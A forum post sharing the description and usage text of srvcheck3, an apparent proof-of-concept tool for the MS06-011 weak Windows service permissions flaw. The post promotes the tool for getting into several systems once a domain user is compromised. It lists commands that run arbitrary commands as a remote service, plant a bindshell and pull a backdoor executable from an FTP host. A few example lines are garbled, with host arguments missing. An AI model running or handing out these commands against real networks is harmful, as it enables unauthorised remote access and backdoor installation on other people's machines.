Page 1 of 1

Windows Security Services checker ( srvcheck )

PostPosted: Mon Apr 22, 2013 9:10 pm
by poni

Code: Select all

Srvcheck is a proof of concept for the MS06-011 ( This tool scans your network for weak service DACLs and enumerates vulnerable services.
Due to the fact that those permissive dacls allows remote authenticate users to modify the command that is executed, srvcheck deploys an vbs payload that will execute a bindshell.

At this time, several products are affected for this vulnerability so once you get a valid domain user, srvcheck allows you to get access into several systems.


The public version, srvcheck2 was improved. The new payload deployed with srvcheck3 works tranfering files by ftp, and allows faster network scanning.

Usage Information:
Srvcheck 3 - Windows Services ACL permission Scanner
(c) 2006 - 2008 Andres Tarasco - [email protected]

Available parameters for SrvCheck3:

Srvcheck3.exe -l [options] List vulnerable services (locally or remotely)
-H Host|[ip1-ip2] Specify a remote host/s to connect (netbiosname/ip(s))
-f file Specify a ip/host file to audit (for example net view >file.txt)
Srvcheck3.exe -m service -c command Executes a remote command running as service
Srvcheck3.exe -m service [options] Executes backdoor or command for that service
-r ftphost ftpport backdoorfile Download configuration)
[-o optionalparameter] Additional parameter to be added to backdoorfile
You should also use always -u DOMAIN\user and -p password flags unless running from a domain shell

Srvcheck3.exe -l (list local vulnerabilities)
Srvcheck3.exe -l -H -u domainuser -p domainpass
Srvcheck3.exe -l -f hosts.txt -u DOMAINuser -p password (list remote vulnerabilities)
Srvcheck3.exe -m service -H host -c "cmd.exe /c md c:\PWNED"
Srvcheck3.exe -m vulnservice -H -u domainuser -p domainpass -r 21 backdoor.exe (exe
cutes backdoor.exe bindshell)